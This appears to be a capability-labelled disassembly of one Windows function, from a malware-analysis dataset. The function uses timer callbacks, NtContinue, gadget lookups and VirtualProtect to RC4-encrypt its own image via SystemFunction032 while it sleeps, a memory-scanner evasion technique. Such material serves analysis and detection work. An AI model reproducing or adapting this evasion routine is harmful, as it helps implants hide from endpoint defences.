Function at 0x1400111ae
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140012b30
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0x21f8
call fcn.1400110b4
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x6f2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2218]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x21b8], rax
lea rcx, [0x1400260a5]
call fcn.1400113c5
nop
lea rax, [rbp + 0x1b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
lea rax, [rbp + 0x6a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
lea rax, [rbp + 0xb90]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
lea rax, [rbp + 0x1080]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
lea rax, [rbp + 0x1570]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov qword [rbp + 0x1a58], 0
mov qword [rbp + 0x1a78], 0
mov qword [rbp + 0x1a98], 0
mov dword [rbp + 0x1ab4], 0
mov dword [rbp + 0x1ad4], 0
lea rax, [rbp + 0x1af8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0x1b28]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov byte [rbp + 0x1b58], 0x31
mov byte [rbp + 0x1b59], 0x31
mov byte [rbp + 0x1b5a], 0x31
mov byte [rbp + 0x1b5b], 0x31
mov byte [rbp + 0x1b5c], 0x31
mov byte [rbp + 0x1b5d], 0x31
mov byte [rbp + 0x1b5e], 0x31
mov byte [rbp + 0x1b5f], 0x31
mov byte [rbp + 0x1b60], 0x18
mov byte [rbp + 0x1b61], 0x18
mov byte [rbp + 0x1b62], 0x18
mov byte [rbp + 0x1b63], 0x18
mov byte [rbp + 0x1b64], 0x18
mov byte [rbp + 0x1b65], 0x18
mov byte [rbp + 0x1b66], 0x18
mov byte [rbp + 0x1b67], 0x18
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x1b88], rax
lea rcx, str.Ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x1ba8], rax
cmp qword [rbp + 0x1b88], 0
je 0x140012ce4
cmp qword [rbp + 0x1ba8], 0
jne 0x140012ce9
jmp 0x1400132eb
lea rdx, str.SystemFunction032
mov rcx, qword [rbp + 0x1b88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1a78], rax
lea rdx, str.NtContinue
mov rcx, qword [rbp + 0x1ba8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1a58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x1a98], rax
mov rax, qword [rbp + 0x1a98]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x1a98]
mov eax, dword [rcx + rax + 0x50]
mov dword [rbp + 0x1ab4], eax
lea rax, [rbp + 0x1b58]
mov qword [rbp + 0x1b30], rax
mov dword [rbp + 0x1b2c], 0x10
mov eax, dword [rbp + 0x1b2c]
mov dword [rbp + 0x1b28], eax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x1b00], rax
mov eax, dword [rbp + 0x1ab4]
mov dword [rbp + 0x1afc], eax
mov eax, dword [rbp + 0x1afc]
mov dword [rbp + 0x1af8], eax
lea r8, str.ProtectionRWTimer
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov qword [rbp + 8], rax
lea r8, str.ProtectionRWXTimer
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov qword [rbp + 0x28], rax
lea r8, str.EncryptionTimer
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov qword [rbp + 0x48], rax
lea r8, str.DecryptionTimer
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov qword [rbp + 0x68], rax
lea r8, str.DummyTimer
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 8], 0
je 0x140012e35
cmp qword [rbp + 0x28], 0
je 0x140012e35
cmp qword [rbp + 0x48], 0
je 0x140012e35
cmp qword [rbp + 0x68], 0
je 0x140012e35
cmp qword [rbp + 0x88], 0
jne 0x140012e5d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.______Failed_to_create_waitable_timers:__d
call fcn.1400111c7
nop
mov rcx, qword [rbp + 0x1b88]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
jmp 0x1400132eb
mov dword [rbp + 0x12c], 0
mov dword [rbp + 0x128], 0
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
xor r8d, r8d
lea rdx, [rbp + 0x128]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
jne 0x140012ec1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.______Failed_to_capture_context:__d
call fcn.1400111c7
nop
jmp 0x1400132a3
mov edx, 1
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SleepEx]
nop
mov r8d, 0x4d0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x6a0]
call fcn.1400111ea
nop
mov r8d, 0x4d0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1080]
call fcn.1400111ea
nop
mov r8d, 0x4d0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1570]
call fcn.1400111ea
nop
mov r8d, 0x4d0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xb90]
call fcn.1400111ea
nop
mov rax, qword [rbp + 0x738]
sub rax, 0x158
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0x720], rax
mov eax, dword [rbp + 0x1ab4]
mov qword [rbp + 0x728], rax
mov qword [rbp + 0x758], 4
lea rax, [rbp + 0x1ad4]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x1118]
sub rax, 0xf8
mov qword [rbp + 0x1118], rax
mov rax, qword [rbp + 0x1a78]
mov qword [rbp + 0x1178], rax
lea rax, [rbp + 0x1af8]
mov qword [rbp + 0x1100], rax
lea rax, [rbp + 0x1b28]
mov qword [rbp + 0x1108], rax
mov rax, qword [rbp + 0x1608]
sub rax, 0x98
mov qword [rbp + 0x1608], rax
mov rax, qword [rbp + 0x1a78]
mov qword [rbp + 0x1668], rax
lea rax, [rbp + 0x1af8]
mov qword [rbp + 0x15f0], rax
lea rax, [rbp + 0x1b28]
mov qword [rbp + 0x15f8], rax
mov rax, qword [rbp + 0xc28]
sub rax, 0x38
mov qword [rbp + 0xc28], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbp + 0xc88], rax
mov rax, qword [rbp + 0x1a98]
mov qword [rbp + 0xc10], rax
mov eax, dword [rbp + 0x1ab4]
mov qword [rbp + 0xc18], rax
mov qword [rbp + 0xc48], 0x40
lea rax, [rbp + 0x1ad4]
mov qword [rbp + 0xc50], rax
mov dword [rbp + 0xac], 0
mov dword [rbp + 0xa8], 0
mov dword [rbp + 0xec], 0xffffffff
mov dword [rbp + 0xe8], 0xff676980
mov eax, dword [rbp + 0x21e0]
dec eax
imul eax, eax, 0x3e8
imul eax, eax, 0xa
imul eax, eax, 0x3e8
neg eax
cdqe
shr rax, 0x20
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x21e0]
dec eax
imul eax, eax, 0x3e8
imul eax, eax, 0xa
imul eax, eax, 0x3e8
neg eax
cdqe
mov ecx, 0xffffffff
and rax, rcx
mov dword [rbp + 0x108], eax
imul eax, dword [rbp + 0x21e0], 0x3e8
imul eax, eax, 0xa
imul eax, eax, 0x3e8
neg eax
cdqe
shr rax, 0x20
mov dword [rbp + 0xcc], eax
imul eax, dword [rbp + 0x21e0], 0x3e8
imul eax, eax, 0xa
imul eax, eax, 0x3e8
neg eax
cdqe
mov ecx, 0xffffffff
and rax, rcx
mov dword [rbp + 0xc8], eax
lea rdx, [0x14001d314]
lea rcx, [0x14001d318]
call fcn.1400111e5
mov qword [rbp + 0x148], rax
lea rdx, [0x14001d314]
lea rcx, [0x14001d31c]
call fcn.1400111e5
mov qword [rbp + 0x168], rax
lea rdx, str.xxxxxx
lea rcx, [0x14001d328]
call fcn.1400111e5
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x148], 0
je 0x140013188
cmp qword [rbp + 0x168], 0
je 0x140013188
cmp qword [rbp + 0x188], 0
jne 0x14001319a
lea rcx, str.____Error_finding_gadget_n
call fcn.1400111c7
nop
jmp 0x1400132a3
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0x1570]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1a58]
xor r8d, r8d
lea rdx, [rbp + 0x108]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
je 0x14001326a
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0xb90]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1a58]
xor r8d, r8d
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
je 0x14001326a
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0x6a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1a58]
xor r8d, r8d
lea rdx, [rbp + 0xa8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
je 0x14001326a
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0x1080]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1a58]
xor r8d, r8d
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
jne 0x140013281
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.______Failed_to_SetWaitableTimer:__d
call fcn.1400111c7
nop
jmp 0x1400132a3
mov r9, qword [sym.imp.KERNEL32.dll_SleepEx]
mov r8, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x148]
call fcn.140011870
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x1b88]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001d0a0]
call fcn.140011352
mov rcx, qword [rbp + 0x21b8]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x21c8]
pop rdi
pop rbp
ret